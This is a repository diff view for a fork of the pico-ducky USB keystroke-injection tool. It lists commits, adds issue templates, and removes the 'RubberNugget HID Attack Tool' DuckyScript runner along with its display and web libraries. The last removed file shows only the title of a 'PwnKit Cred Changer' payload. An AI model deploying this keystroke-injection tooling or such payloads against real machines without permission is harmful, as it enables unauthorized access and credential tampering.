31 Commits

Author SHA1 Message Date
Dave
68b1262227 Refactor script running to support long delays without blocking webservice 2023-09-17 14:48:46 -05:00
Dave
74ef11770b Clarify getting latest release 2023-06-24 13:07:19 -05:00
Dave
a7992c2fb3 Update installation instructions 2023-06-24 12:58:58 -05:00
Dave
49e81125c1 Updated issue template 2023-06-24 10:01:39 -05:00
Antoine Meloche
221e796449 DOC: typo fix in README.md (#172)
DuckScript -> DuckyScript
2023-04-17 18:22:01 -05:00
LoneWolf
e12c0bf892 Add files via upload (#150) 2023-03-26 14:10:20 -05:00
Dave
5ea13cf7c2 Fix formatting for secrets.py 2023-03-17 19:40:57 -05:00
Dave
a5cbb0cb34 Update README instructions to include setting up AP info in secrets.py 2023-03-17 19:18:32 -05:00
Dave
ce00d8ddc9 fix language support (#140) 2023-02-19 13:58:20 -06:00
Dave
b99ddf37e5 Pico W Support (#137)
* Refactor code to support Pico W board

* Updates for Pico W support

* Update based on changes in CircuitPython v8.0.0 beta 6

* Updated bundle download to 8.x, fixed a few typos

* Updating documentation for web interface

* Update support for CircuitPython 8.0.0, fix many bugs

* Document multiple payload options

* Update copyright dates

* Fixed typo
2023-02-18 16:21:53 -06:00
Oussamaosman02
99900ed5d5 Updating installation tool repo and user (#129) 2023-01-16 10:57:58 -06:00
Christoph Mantsch
164ecff72a Update links for payloads and DuckyScript reference (#116) 2022-11-21 21:03:25 -06:00
Dave
97e926bda0 Updating issue templates 2022-10-29 21:13:14 -05:00
Dave
4c0db1a0e1 Update issue templates 2022-10-29 21:09:16 -05:00
Dave
d4957e2e95 Doc updates (#104)
* Update instructions to include copying boot.py

* Clean up instructions

* Fix formatting
2022-09-26 20:59:21 -05:00
Dave
6516c8bbe4 Add reset instructions (#99) 2022-09-19 18:11:26 -05:00
Dave
3a7411e55e Change button monitoring and LED to async tasks (#98) 2022-09-18 11:36:22 -05:00
Dave
e51a769cdd Fix library includes and GPIO names (#93) 2022-09-03 08:34:07 -05:00
Dave
f02c061543 Add button to run scripts (#92) 2022-08-28 22:56:16 -05:00
Dave
8a4e710725 Install tool (#77)
* Add link to installation tool

* Update links
2022-06-12 14:10:48 -05:00
Dave
852e8694dd Update issue templates 2022-04-25 18:00:18 -05:00
Dave
2876f80140 Update README to clarify non-US keyboard instructions (#70) 2022-04-10 11:51:41 -05:00
Aask
0988524506 making light pwm (#68)
Co-authored-by: unknown <ask.wietting@gmail.com>
2022-04-05 18:23:06 -05:00
dbisu
e11b087b75 Add exception handling to file open 2022-04-03 13:52:40 -05:00
mm12
f79fe2cb48 Update README.md (#65) 2022-03-27 13:27:58 -05:00
Dave
3d101c82d4 Disable auto reload when a new payload or code is deployed. Add blinking LED when board is idle, ready for reload or payload is finished running (#59) 2022-03-18 15:03:35 -05:00
Phil
3fd60760c6 Saving some memory (#55)
* saving some memory

* remove print

* better syntax

* Update duckyinpython.py
2022-03-10 18:11:35 -06:00
Dave
21ffbeb415 Adding support for four position switch to select payloads (#51) 2022-02-24 20:14:02 -06:00
Neradoc
895fc7af58 Removed keyboard_layout.py (#50)
`keyboard_layout.py` is now in adafruit_hid (version 5+) and no longer needed.
2022-02-11 22:03:44 -06:00
Elisha Hollander
11467900c5 remove second DELETE (#46) 2022-01-16 10:05:58 -06:00
dbisu
fc0c2556e0 Fixed typo 2021-12-11 10:57:41 -06:00
73 changed files with 1125 additions and 1860 deletions

34
.github/ISSUE_TEMPLATE/bug_report.md vendored Normal file
View File

@@ -0,0 +1,34 @@
---
name: Bug report
about: Create a report to help us improve
title: ''
labels: ''
assignees: ''
---
**Describe the bug**
A clear and concise description of what the bug is.
**To Reproduce**
Steps to reproduce the behavior:
1. Go to '...'
2. Click on '....'
3. Scroll down to '....'
4. See error
**Expected behavior**
A clear and concise description of what you expected to happen.
**Screenshots**
If applicable, add screenshots to help explain your problem.
**Debug info**
If possible, include debug serial data.
On Windows, use PuTTY, connect to the debug serial port (commonly COM3, but could vary)
On Linux, use minicom (minicom -b 115200 -o -D /dev/ttyACM0, where ttyACM0 corresponds to your device)
**Additional context**
Add any other context about the problem here.

29
.github/ISSUE_TEMPLATE/not-working.md vendored Normal file
View File

@@ -0,0 +1,29 @@
---
name: Not Working
about: Create a report if something is not working correctly
title: ''
labels: ''
assignees: ''
---
**Describe the issue**
A clear and concise description of the symptoms
**To Reproduce**
Steps to reproduce the behavior:
**Expected behavior**
A clear and concise description of what you expected to happen.
**Screenshots**
If applicable, add screenshots to help explain your problem.
**Debug info**
If possible, include debug serial data.
On Windows, use PuTTY, connect to the debug serial port (commonly COM3, but could vary)
On Linux, use minicom (minicom -b 115200 -o -D /dev/ttyACM0, where ttyACM0 corresponds to your device)
**Additional context**
Add any other context about the problem here.

View File

@@ -1,21 +0,0 @@
from board import *
import digitalio
import storage
import board
import time
time.sleep(3)
noStorageStatus = False
noStoragePin = digitalio.DigitalInOut(board.IO18) ## If the down button is pressed on the S2 Nugget
noStoragePin.switch_to_input(pull=digitalio.Pull.UP)
noStorageStatus = not noStoragePin.value
if(noStorageStatus == True):
# don't show USB drive to host PC
storage.disable_usb_drive()
print("Disabling USB drive")
else:
# normal boot
print("USB drive enabled")
# Write your code here :-)

View File

@@ -1,4 +0,0 @@
Adafruit CircuitPython 7.2.3 on 2022-03-16; S2Mini with ESP32S2-S2FN4R2
Board ID:lolin_s2_mini
boot.py output:
USB drive enabled

View File

@@ -1,254 +0,0 @@
# RubberNugget HID Attack Tool
# By Kody Kinzie & Alex Lynd
# Optimized by Areza
# Forked from https://github.com/dbisu/pico-ducky
# import libraries
import usb_hid, neopixel, board, busio, adafruit_displayio_sh1106, displayio, adafruit_framebuf, time, ssl, wifi, socketpool, ipaddress
import adafruit_requests, adafruit_requests as requests, ampule, adafruit_binascii as binascii, terminalio, base64, os
from adafruit_hid.keyboard import Keyboard
from adafruit_hid.keyboard_layout_us import KeyboardLayoutUS as KeyboardLayout
from adafruit_hid.keycode import Keycode
from digitalio import DigitalInOut, Pull
from adafruit_debouncer import Debouncer
from board import *
from adafruit_display_text import label
from adafruit_display_shapes.line import Line
# display config for SH1106
displayio.release_displays()
WIDTH = 130
HEIGHT = 64
BORDER = 1
i2c = busio.I2C(SCL, SDA)
display_bus = displayio.I2CDisplay(i2c, device_address=0x3c)
display = adafruit_displayio_sh1106.SH1106(display_bus, width=WIDTH, height=HEIGHT)
# use default font & white for font
font = terminalio.FONT
color = 0xFFFFFF
# configure button input
pins = (board.IO9, board.IO18, board.IO11, board.IO7)
buttons = [] # will hold list of Debouncer objects
for pin in pins: # set up each pin
tmp_pin = DigitalInOut(pin) # defaults to input
tmp_pin.pull = Pull.UP # turn on internal pull-up resistor
buttons.append( Debouncer(tmp_pin) )
# keyboard config
kbd = Keyboard(usb_hid.devices)
layout = KeyboardLayout(kbd)
# payload config & root dir
payloadstatus = ""
defaultDelay = 0
path = "payloads"
# get pressed button
def getButtonPressed():
for i in range(len(buttons)):
buttons[i].update()
if buttons[i].fell:
return i
return -1
###### draw key map function ######
def drawNavMap(map_vals):
global path
map = ["UP ", "DOWN ", "LEFT ", "RIGHT"]
#insert "back" as down value or blank values
if len(map_vals) <4:
for i in range (len(map_vals),4):
map_vals.insert(i,"")
map_vals.insert(1, "Back")
counter = 0
navScreen = displayio.Group()
# iterate text values and add to screen
for i in map_vals[:4]:
text_area = label.Label(font, text=map[counter]+": "+i, color=color)
text_area.x = 2
text_area.y =3+(10*counter)
counter+=1
navScreen.append(text_area)
# draw stuff
navScreen.append(Line(0, 50, 127, 50, 0xFFFFFF))
navScreen.append(Line(0, 51, 127, 51, 0xFFFFFF))
text_area = label.Label(font, text="Dir: "+ path[path.rfind("/")+1:], color=color)
text_area.x = 2
text_area.y =57
navScreen.append(text_area)
display.show(navScreen)
# update path until text file reached
currButton = -1
while (currButton== -1):
currButton = getButtonPressed()
if("Back" in map_vals and currButton==1):
path=path[0:path.rfind("/")]
elif (map_vals[currButton]==""):
pass
else :
path+="/"+map_vals[currButton]
if (".txt" in path):
runPayload(path)
path=path[0:path.rfind("/")]
path=path[0:path.rfind("/")]
##### draw and execute payload ######
def drawPayload(status, payloadName):
# draw Nugget to indicate status!
if (status=="START"):
statusText = "executing"
bitmap = displayio.OnDiskBitmap("/faces/payload-running.bmp")
else:
statusText = "finished"
bitmap = displayio.OnDiskBitmap("/faces/payload-finished.bmp")
# Setup the file as the bitmap data source
tile_grid = displayio.TileGrid(bitmap, pixel_shader=bitmap.pixel_shader)
group = displayio.Group() # Create a Group to hold the TileGrid
group.append(tile_grid)
group.append(Line(0, 50, 129, 50, 0xFFFFFF))
group.append(Line(0, 51, 129, 51, 0xFFFFFF))
group.append(Line(0, 11, 129, 11, 0xFFFFFF))
group.append(Line(0, 12, 129, 12, 0xFFFFFF))
text = ("STATUS: "+statusText)
text_area = label.Label(font, text=text, color=color)
text_area.x = 2
text_area.y =57
group.append(text_area)
text = (payloadName[path.rfind("/")+1:])
if(len(text)>21):
text = text[:18]+"..."
text_area = label.Label(font, text=text, color=color)
text_area.x = 2
text_area.y =3
group.append(text_area)
display.show(group)
time.sleep(3)
# duckyscript command map
duckyCommands = {
'WINDOWS': Keycode.WINDOWS, 'GUI': Keycode.GUI,
'APP': Keycode.APPLICATION, 'MENU': Keycode.APPLICATION, 'SHIFT': Keycode.SHIFT,
'ALT': Keycode.ALT, 'CONTROL': Keycode.CONTROL, 'CTRL': Keycode.CONTROL,
'DOWNARROW': Keycode.DOWN_ARROW, 'DOWN': Keycode.DOWN_ARROW, 'LEFTARROW': Keycode.LEFT_ARROW,
'LEFT': Keycode.LEFT_ARROW, 'RIGHTARROW': Keycode.RIGHT_ARROW, 'RIGHT': Keycode.RIGHT_ARROW,
'UPARROW': Keycode.UP_ARROW, 'UP': Keycode.UP_ARROW, 'BREAK': Keycode.PAUSE,
'PAUSE': Keycode.PAUSE, 'CAPSLOCK': Keycode.CAPS_LOCK, 'DELETE': Keycode.DELETE,
'END': Keycode.END, 'ESC': Keycode.ESCAPE, 'ESCAPE': Keycode.ESCAPE, 'HOME': Keycode.HOME,
'INSERT': Keycode.INSERT, 'NUMLOCK': Keycode.KEYPAD_NUMLOCK, 'PAGEUP': Keycode.PAGE_UP,
'PAGEDOWN': Keycode.PAGE_DOWN, 'PRINTSCREEN': Keycode.PRINT_SCREEN, 'ENTER': Keycode.ENTER,
'SCROLLLOCK': Keycode.SCROLL_LOCK, 'SPACE': Keycode.SPACE, 'TAB': Keycode.TAB,
'A': Keycode.A, 'B': Keycode.B, 'C': Keycode.C, 'D': Keycode.D, 'E': Keycode.E,
'F': Keycode.F, 'G': Keycode.G, 'H': Keycode.H, 'I': Keycode.I, 'J': Keycode.J,
'K': Keycode.K, 'L': Keycode.L, 'M': Keycode.M, 'N': Keycode.N, 'O': Keycode.O,
'P': Keycode.P, 'Q': Keycode.Q, 'R': Keycode.R, 'S': Keycode.S, 'T': Keycode.T,
'U': Keycode.U, 'V': Keycode.V, 'W': Keycode.W, 'X': Keycode.X, 'Y': Keycode.Y,
'Z': Keycode.Z, 'F1': Keycode.F1, 'F2': Keycode.F2, 'F3': Keycode.F3,
'F4': Keycode.F4, 'F5': Keycode.F5, 'F6': Keycode.F6, 'F7': Keycode.F7,
'F8': Keycode.F8, 'F9': Keycode.F9, 'F10': Keycode.F10, 'F11': Keycode.F11,
'F12': Keycode.F12,
}
###### ducky parser by @dbisu ######
def convertLine(line):
newline = []
print(line)
# loop on each key - the filter removes empty values
for key in filter(None, line.split(" ")):
key = key.upper()
# find the keycode for the command in the list
command_keycode = duckyCommands.get(key, None)
if command_keycode is not None:
# if it exists in the list, use it
newline.append(command_keycode)
elif hasattr(Keycode, key):
# if it's in the Keycode module, use it (allows any valid keycode)
newline.append(getattr(Keycode, key))
else:
# if it's not a known key name, show the error for diagnosis
print(f"Unknown key: <{key}>")
print(newline)
return newline
def runScriptLine(line):
for k in line:
kbd.press(k)
kbd.release_all()
def sendString(line):
layout.write(line)
def parseLine(line):
global defaultDelay
if(line[0:3] == "REM"):
# ignore ducky script comments
pass
elif(line[0:5] == "DELAY"):
time.sleep(float(line[6:])/1000)
elif(line[0:6] == "STRING"):
sendString(line[7:])
elif(line[0:13] == "DEFAULT_DELAY"):
defaultDelay = int(line[14:]) * 10
elif(line[0:12] == "DEFAULTDELAY"):
defaultDelay = int(line[13:]) * 10
else:
newScriptLine = convertLine(line)
runScriptLine(newScriptLine)
###### payload run function ######
def runPayload(payloadPath):
##startup indicator
drawPayload("START",payloadPath)
f = open(payloadPath,"r",encoding='utf-8')
previousLine = ""
duckyScript = f.readlines()
for line in duckyScript:
print(line)
line = line.rstrip()
if(line[0:6] == "REPEAT"):
for i in range(int(line[7:])):
#repeat the last command
parseLine(previousLine)
time.sleep(float(defaultDelay)/1000)
else:
parseLine(line)
previousLine = line
time.sleep(float(defaultDelay)/1000)
##finish indicator
drawPayload("STOP",payloadPath)
time.sleep(.5)
# create default directories
default_os = ["Windows","Starred","Mac","Linux"]
for os_name in default_os:
if (os_name not in(os.listdir("payloads"))):
os.mkdir(os_name)
while True:
# check for root payload directory
if (path!="payloads"):
drawNavMap(os.listdir(path)[:3]) # take first 3 items from list
else:
drawNavMap(os.listdir(path))

Binary file not shown.

Before

Width:  |  Height:  |  Size: 1.1 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 1.1 KiB

Binary file not shown.

Binary file not shown.

View File

@@ -1,52 +0,0 @@
# SPDX-FileCopyrightText: 2019 Limor Fried for Adafruit Industries
#
# SPDX-License-Identifier: MIT
"""
`line`
================================================================================
Various common shapes for use with displayio - Line shape!
* Author(s): Melissa LeBlanc-Williams
Implementation Notes
--------------------
**Software and Dependencies:**
* Adafruit CircuitPython firmware for the supported boards:
https://github.com/adafruit/circuitpython/releases
"""
from adafruit_display_shapes.polygon import Polygon
__version__ = "0.0.0-auto.0"
__repo__ = "https://github.com/adafruit/Adafruit_CircuitPython_Display_Shapes.git"
class Line(Polygon):
# pylint: disable=too-many-arguments,invalid-name, too-few-public-methods
"""A line.
:param x0: The x-position of the first vertex.
:param y0: The y-position of the first vertex.
:param x1: The x-position of the second vertex.
:param y1: The y-position of the second vertex.
:param color: The color of the line.
"""
def __init__(self, x0, y0, x1, y1, color):
super().__init__([(x0, y0), (x1, y1)], outline=color)
@property
def color(self):
"""The line color value. Can be a hex value for a color or
``None`` for no line color."""
return self.outline
@color.setter
def color(self, color):
self.outline = color

View File

@@ -1,136 +0,0 @@
# SPDX-FileCopyrightText: 2019 Limor Fried for Adafruit Industries
#
# SPDX-License-Identifier: MIT
"""
`polygon`
================================================================================
Various common shapes for use with displayio - Polygon shape!
* Author(s): Melissa LeBlanc-Williams
Implementation Notes
--------------------
**Software and Dependencies:**
* Adafruit CircuitPython firmware for the supported boards:
https://github.com/adafruit/circuitpython/releases
"""
import displayio
__version__ = "0.0.0-auto.0"
__repo__ = "https://github.com/adafruit/Adafruit_CircuitPython_Display_Shapes.git"
class Polygon(displayio.TileGrid):
# pylint: disable=too-many-arguments,invalid-name
"""A polygon.
:param points: A list of (x, y) tuples of the points
:param outline: The outline of the polygon. Can be a hex value for a color or
``None`` for no outline.
"""
def __init__(self, points, *, outline=None):
xs = []
ys = []
for point in points:
xs.append(point[0])
ys.append(point[1])
x_offset = min(xs)
y_offset = min(ys)
# Find the largest and smallest X values to figure out width for bitmap
width = max(xs) - min(xs) + 1
height = max(ys) - min(ys) + 1
self._palette = displayio.Palette(3)
self._palette.make_transparent(0)
self._bitmap = displayio.Bitmap(width, height, 3)
if outline is not None:
# print("outline")
self.outline = outline
for index, _ in enumerate(points):
point_a = points[index]
if index == len(points) - 1:
point_b = points[0]
else:
point_b = points[index + 1]
self._line(
point_a[0] - x_offset,
point_a[1] - y_offset,
point_b[0] - x_offset,
point_b[1] - y_offset,
1,
)
super().__init__(
self._bitmap, pixel_shader=self._palette, x=x_offset, y=y_offset
)
# pylint: disable=invalid-name, too-many-locals, too-many-branches
def _line(self, x0, y0, x1, y1, color):
if x0 == x1:
if y0 > y1:
y0, y1 = y1, y0
for _h in range(y0, y1 + 1):
self._bitmap[x0, _h] = color
elif y0 == y1:
if x0 > x1:
x0, x1 = x1, x0
for _w in range(x0, x1 + 1):
self._bitmap[_w, y0] = color
else:
steep = abs(y1 - y0) > abs(x1 - x0)
if steep:
x0, y0 = y0, x0
x1, y1 = y1, x1
if x0 > x1:
x0, x1 = x1, x0
y0, y1 = y1, y0
dx = x1 - x0
dy = abs(y1 - y0)
err = dx / 2
if y0 < y1:
ystep = 1
else:
ystep = -1
for x in range(x0, x1 + 1):
if steep:
self._bitmap[y0, x] = color
else:
self._bitmap[x, y0] = color
err -= dy
if err < 0:
y0 += ystep
err += dx
# pylint: enable=invalid-name, too-many-locals, too-many-branches
@property
def outline(self):
"""The outline of the polygon. Can be a hex value for a color or
``None`` for no outline."""
return self._palette[1]
@outline.setter
def outline(self, color):
if color is None:
self._palette[1] = 0
self._palette.make_transparent(1)
else:
self._palette[1] = color
self._palette.make_opaque(1)

View File

@@ -1,144 +0,0 @@
# SPDX-FileCopyrightText: 2019 Limor Fried for Adafruit Industries
#
# SPDX-License-Identifier: MIT
"""
`triangle`
================================================================================
Various common shapes for use with displayio - Triangle shape!
* Author(s): Melissa LeBlanc-Williams
Implementation Notes
--------------------
**Software and Dependencies:**
* Adafruit CircuitPython firmware for the supported boards:
https://github.com/adafruit/circuitpython/releases
"""
from adafruit_display_shapes.polygon import Polygon
__version__ = "0.0.0-auto.0"
__repo__ = "https://github.com/adafruit/Adafruit_CircuitPython_Display_Shapes.git"
class Triangle(Polygon):
# pylint: disable=too-many-arguments,invalid-name
"""A triangle.
:param x0: The x-position of the first vertex.
:param y0: The y-position of the first vertex.
:param x1: The x-position of the second vertex.
:param y1: The y-position of the second vertex.
:param x2: The x-position of the third vertex.
:param y2: The y-position of the third vertex.
:param fill: The color to fill the triangle. Can be a hex value for a color or
``None`` for transparent.
:param outline: The outline of the triangle. Can be a hex value for a color or
``None`` for no outline.
"""
# pylint: disable=too-many-locals
def __init__(self, x0, y0, x1, y1, x2, y2, *, fill=None, outline=None):
# Sort coordinates by Y order (y2 >= y1 >= y0)
if y0 > y1:
y0, y1 = y1, y0
x0, x1 = x1, x0
if y1 > y2:
y1, y2 = y2, y1
x1, x2 = x2, x1
if y0 > y1:
y0, y1 = y1, y0
x0, x1 = x1, x0
# Find the largest and smallest X values to figure out width for bitmap
xs = [x0, x1, x2]
points = [(x0, y0), (x1, y1), (x2, y2)]
# Initialize the bitmap and palette
super().__init__(points)
if fill is not None:
self._draw_filled(
x0 - min(xs), 0, x1 - min(xs), y1 - y0, x2 - min(xs), y2 - y0
)
self.fill = fill
else:
self.fill = None
if outline is not None:
self.outline = outline
for index, _ in enumerate(points):
point_a = points[index]
if index == len(points) - 1:
point_b = points[0]
else:
point_b = points[index + 1]
self._line(
point_a[0] - min(xs),
point_a[1] - y0,
point_b[0] - min(xs),
point_b[1] - y0,
1,
)
# pylint: disable=invalid-name, too-many-branches
def _draw_filled(self, x0, y0, x1, y1, x2, y2):
if y0 == y2: # Handle awkward all-on-same-line case as its own thing
a = x0
b = x0
if x1 < a:
a = x1
elif x1 > b:
b = x1
if x2 < a:
a = x2
elif x2 > b:
b = x2
self._line(a, y0, b, y0, 2)
return
if y1 == y2:
last = y1 # Include y1 scanline
else:
last = y1 - 1 # Skip it
# Upper Triangle
for y in range(y0, last + 1):
a = round(x0 + (x1 - x0) * (y - y0) / (y1 - y0))
b = round(x0 + (x2 - x0) * (y - y0) / (y2 - y0))
if a > b:
a, b = b, a
self._line(a, y, b, y, 2)
# Lower Triangle
for y in range(last + 1, y2 + 1):
a = round(x1 + (x2 - x1) * (y - y1) / (y2 - y1))
b = round(x0 + (x2 - x0) * (y - y0) / (y2 - y0))
if a > b:
a, b = b, a
self._line(a, y, b, y, 2)
# pylint: enable=invalid-name, too-many-locals, too-many-branches
@property
def fill(self):
"""The fill of the triangle. Can be a hex value for a color or
``None`` for transparent."""
return self._palette[2]
@fill.setter
def fill(self, color):
if color is None:
self._palette[2] = 0
self._palette.make_transparent(2)
else:
self._palette[2] = color
self._palette.make_opaque(2)

View File

@@ -1,115 +0,0 @@
# SPDX-FileCopyrightText: 2017 Scott Shawcroft, written for Adafruit Industries
# SPDX-FileCopyrightText: Copyright (c) 2021 ladyada for Adafruit Industries
#
# SPDX-License-Identifier: MIT
"""
`adafruit_displayio_sh1106`
================================================================================
DisplayIO compatible library for SH1106 OLED displays
* Author(s): ladyada
Implementation Notes
--------------------
**Hardware:**
**Software and Dependencies:**
* Adafruit CircuitPython firmware for the supported boards:
https://github.com/adafruit/circuitpython/releases
"""
# imports
import displayio
__version__ = "0.0.0-auto.0"
__repo__ = "https://github.com/adafruit/Adafruit_CircuitPython_DisplayIO_SH1106.git"
# Sequence from sh1106 framebuf driver formatted for displayio init
_INIT_SEQUENCE = (
b"\xae\x00" # display off, sleep mode
b"\xd5\x01\x80" # divide ratio/oscillator: divide by 2, fOsc (POR)
b"\xa8\x01\x3f" # multiplex ratio = 64 (POR)
b"\xd3\x01\x00" # set display offset mode = 0x0
b"\x40\x00" # set start line
b"\xad\x01\x8b" # turn on DC/DC
b"\xa1\x00" # segment remap = 1 (POR=0, down rotation)
b"\xc8\x00" # scan decrement
b"\xda\x01\x12" # set com pins
b"\x81\x01\xff" # contrast setting = 0xff
b"\xd9\x01\x1f" # pre-charge/dis-charge period mode: 2 DCLKs/2 DCLKs (POR)
b"\xdb\x01\x40" # VCOM deselect level = 0.770 (POR)
b"\x20\x01\x20" #
b"\x33\x00" # turn on VPP to 9V
b"\xa6\x00" # normal (not reversed) display
b"\xa4\x00" # entire display off, retain RAM, normal status (POR)
b"\xaf\x00" # DISPLAY_ON
)
class SH1106(displayio.Display):
"""
SH1106 driver for use with DisplayIO
:param bus: The bus that the display is connected to.
:param int width: The width of the display. Maximum of 132
:param int height: The height of the display. Maximum of 64
:param int rotation: The rotation of the display. 0, 90, 180 or 270.
"""
def __init__(self, bus, **kwargs):
init_sequence = bytearray(_INIT_SEQUENCE)
super().__init__(
bus,
init_sequence,
**kwargs,
color_depth=1,
grayscale=True,
pixels_in_byte_share_row=False, # in vertical (column) mode
data_as_commands=True, # every byte will have a command byte preceeding
brightness_command=0x81,
single_byte_bounds=True,
# for sh1107 use column and page addressing.
# lower column command = 0x00 - 0x0F
# upper column command = 0x10 - 0x17
# set page address = 0xB0 - 0xBF (16 pages)
SH1107_addressing=True,
)
self._is_awake = True # Display starts in active state (_INIT_SEQUENCE)
@property
def is_awake(self):
"""
The power state of the display. (read-only)
`True` if the display is active, `False` if in sleep mode.
"""
return self._is_awake
def sleep(self):
"""
Put display into sleep mode. The display uses < 5uA in sleep mode.
Sleep mode does the following:
1) Stops the oscillator and DC-DC circuits
2) Stops the OLED drive
3) Remembers display data and operation mode active prior to sleeping
4) The MP can access (update) the built-in display RAM
"""
if self._is_awake:
self.bus.send(int(0xAE), "") # 0xAE = display off, sleep mode
self._is_awake = False
def wake(self):
"""
Wake display from sleep mode
"""
if not self._is_awake:
self.bus.send(int(0xAF), "") # 0xAF = display on
self._is_awake = True

Binary file not shown.

Binary file not shown.

Binary file not shown.

View File

@@ -1,132 +0,0 @@
import io
import re
BUFFER_SIZE = 256
TIMEOUT = 30
routes = []
variable_re = re.compile("^<([a-zA-Z]+)>$")
class Request:
def __init__(self, method, full_path):
self.method = method
self.path = full_path.split("?")[0]
self.params = Request.__parse_params(full_path)
self.headers = {}
self.body = None
@staticmethod
def __parse_params(path):
query_string = path.split("?")[1] if "?" in path else ""
param_list = query_string.split("&")
params = {}
for param in param_list:
key_val = param.split("=")
if len(key_val) == 2:
params[key_val[0]] = key_val[1]
return params
def __parse_headers(reader):
headers = {}
for line in reader:
if line == b'\r\n': break
title, content = str(line, "utf-8").split(":", 1)
headers[title.strip().lower()] = content.strip()
return headers
def __parse_body(reader):
data = bytearray()
for line in reader:
if line == b'\r\n': break
data.extend(line)
return str(data, "utf-8")
def __read_request(client):
message = bytearray()
client.settimeout(30)
socket_recv = True
try:
while socket_recv:
buffer = bytearray(BUFFER_SIZE)
client.recv_into(buffer)
start_length = len(message)
for byte in buffer:
if byte == 0x00:
socket_recv = False
break
else:
message.append(byte)
except OSError as error:
print("Error reading from socket", error)
reader = io.BytesIO(message)
line = str(reader.readline(), "utf-8")
(method, full_path, version) = line.rstrip("\r\n").split(None, 2)
request = Request(method, full_path)
request.headers = __parse_headers(reader)
request.body = __parse_body(reader)
return request
def __send_response(client, code, headers, data):
headers["Server"] = "Ampule/0.0.1-alpha (CircuitPython)"
headers["Connection"] = "close"
headers["Content-Length"] = len(data)
response = "HTTP/1.1 %i OK\r\n" % code
for k, v in headers.items():
response += "%s: %s\r\n" % (k, v)
response += "\r\n" + data + "\r\n"
client.send(response)
def __on_request(method, rule, request_handler):
regex = "^"
rule_parts = rule.split("/")
for part in rule_parts:
# Is this portion of the path a variable?
var = variable_re.match(part)
if var:
# If so, allow any alphanumeric value
regex += r"([a-zA-Z0-9_-]+)\/"
else:
# Otherwise exact match
regex += part + r"\/"
regex += "?$"
routes.append(
(re.compile(regex), {"method": method, "func": request_handler})
)
def __match_route(path, method):
for matcher, route in routes:
match = matcher.match(path)
if match and method == route["method"]:
return (match.groups(), route)
return None
def listen(socket):
try:
client, remote_address = socket.accept()
client.settimeout(1)
request = __read_request(client)
match = __match_route(request.path, request.method)
if match:
args, route = match
status, headers, body = route["func"](request, *args)
__send_response(client, status, headers, body)
else:
__send_response(client, 404, {}, "Not found")
except OSError as e:
print("Timed Out, continuing")
return
except BaseException as e:
print("Error with request:", e)
__send_response(client, 500, {}, "Error processing request")
client.close()
def route(rule, method='GET'):
return lambda func: __on_request(method, rule, func)

Binary file not shown.

View File

@@ -1,188 +0,0 @@
# SPDX-FileCopyrightText: 2016 Damien P. George
# SPDX-FileCopyrightText: 2017 Scott Shawcroft for Adafruit Industries
# SPDX-FileCopyrightText: 2019 Carter Nelson
# SPDX-FileCopyrightText: 2019 Roy Hooper
#
# SPDX-License-Identifier: MIT
"""
`neopixel` - NeoPixel strip driver
====================================================
* Author(s): Damien P. George, Scott Shawcroft, Carter Nelson, Rose Hooper
"""
# pylint: disable=ungrouped-imports
import sys
import board
import digitalio
from neopixel_write import neopixel_write
try:
import adafruit_pixelbuf
except ImportError:
try:
import _pixelbuf as adafruit_pixelbuf
except ImportError:
import adafruit_pypixelbuf as adafruit_pixelbuf
try:
# Used only for typing
from typing import Optional, Type
from types import TracebackType
import microcontroller
except ImportError:
pass
__version__ = "0.0.0-auto.0"
__repo__ = "https://github.com/adafruit/Adafruit_CircuitPython_NeoPixel.git"
# Pixel color order constants
RGB = "RGB"
"""Red Green Blue"""
GRB = "GRB"
"""Green Red Blue"""
RGBW = "RGBW"
"""Red Green Blue White"""
GRBW = "GRBW"
"""Green Red Blue White"""
class NeoPixel(adafruit_pixelbuf.PixelBuf):
"""
A sequence of neopixels.
:param ~microcontroller.Pin pin: The pin to output neopixel data on.
:param int n: The number of neopixels in the chain
:param int bpp: Bytes per pixel. 3 for RGB and 4 for RGBW pixels.
:param float brightness: Brightness of the pixels between 0.0 and 1.0 where 1.0 is full
brightness
:param bool auto_write: True if the neopixels should immediately change when set. If False,
`show` must be called explicitly.
:param str pixel_order: Set the pixel color channel order. GRBW is set by default.
Example for Circuit Playground Express:
.. code-block:: python
import neopixel
from board import *
RED = 0x100000 # (0x10, 0, 0) also works
pixels = neopixel.NeoPixel(NEOPIXEL, 10)
for i in range(len(pixels)):
pixels[i] = RED
Example for Circuit Playground Express setting every other pixel red using a slice:
.. code-block:: python
import neopixel
from board import *
import time
RED = 0x100000 # (0x10, 0, 0) also works
# Using ``with`` ensures pixels are cleared after we're done.
with neopixel.NeoPixel(NEOPIXEL, 10) as pixels:
pixels[::2] = [RED] * (len(pixels) // 2)
time.sleep(2)
.. py:method:: NeoPixel.show()
Shows the new colors on the pixels themselves if they haven't already
been autowritten.
The colors may or may not be showing after this function returns because
it may be done asynchronously.
.. py:method:: NeoPixel.fill(color)
Colors all pixels the given ***color***.
.. py:attribute:: brightness
Overall brightness of the pixel (0 to 1.0)
"""
def __init__(
self,
pin: microcontroller.Pin,
n: int,
*,
bpp: int = 3,
brightness: float = 1.0,
auto_write: bool = True,
pixel_order: str = None
):
if not pixel_order:
pixel_order = GRB if bpp == 3 else GRBW
elif isinstance(pixel_order, tuple):
order_list = [RGBW[order] for order in pixel_order]
pixel_order = "".join(order_list)
self._power = None
if (
sys.implementation.version[0] >= 7
and getattr(board, "NEOPIXEL", None) == pin
):
power = getattr(board, "NEOPIXEL_POWER_INVERTED", None)
polarity = power is None
if not power:
power = getattr(board, "NEOPIXEL_POWER", None)
if power:
try:
self._power = digitalio.DigitalInOut(power)
self._power.switch_to_output(value=polarity)
except ValueError:
pass
super().__init__(
n, brightness=brightness, byteorder=pixel_order, auto_write=auto_write
)
self.pin = digitalio.DigitalInOut(pin)
self.pin.direction = digitalio.Direction.OUTPUT
def deinit(self) -> None:
"""Blank out the NeoPixels and release the pin."""
self.fill(0)
self.show()
self.pin.deinit()
if self._power:
self._power.deinit()
def __enter__(self):
return self
def __exit__(
self,
exception_type: Optional[Type[BaseException]],
exception_value: Optional[BaseException],
traceback: Optional[TracebackType],
):
self.deinit()
def __repr__(self):
return "[" + ", ".join([str(x) for x in self]) + "]"
@property
def n(self) -> int:
"""
The number of neopixels in the chain (read-only)
"""
return len(self)
def write(self) -> None:
""".. deprecated: 1.0.0
Use ``show`` instead. It matches Micro:Bit and Arduino APIs."""
self.show()
def _transmit(self, buffer: bytearray) -> None:
neopixel_write(self.pin, buffer)

View File

@@ -1,34 +0,0 @@
REM Title: PwnKit Cred Changer
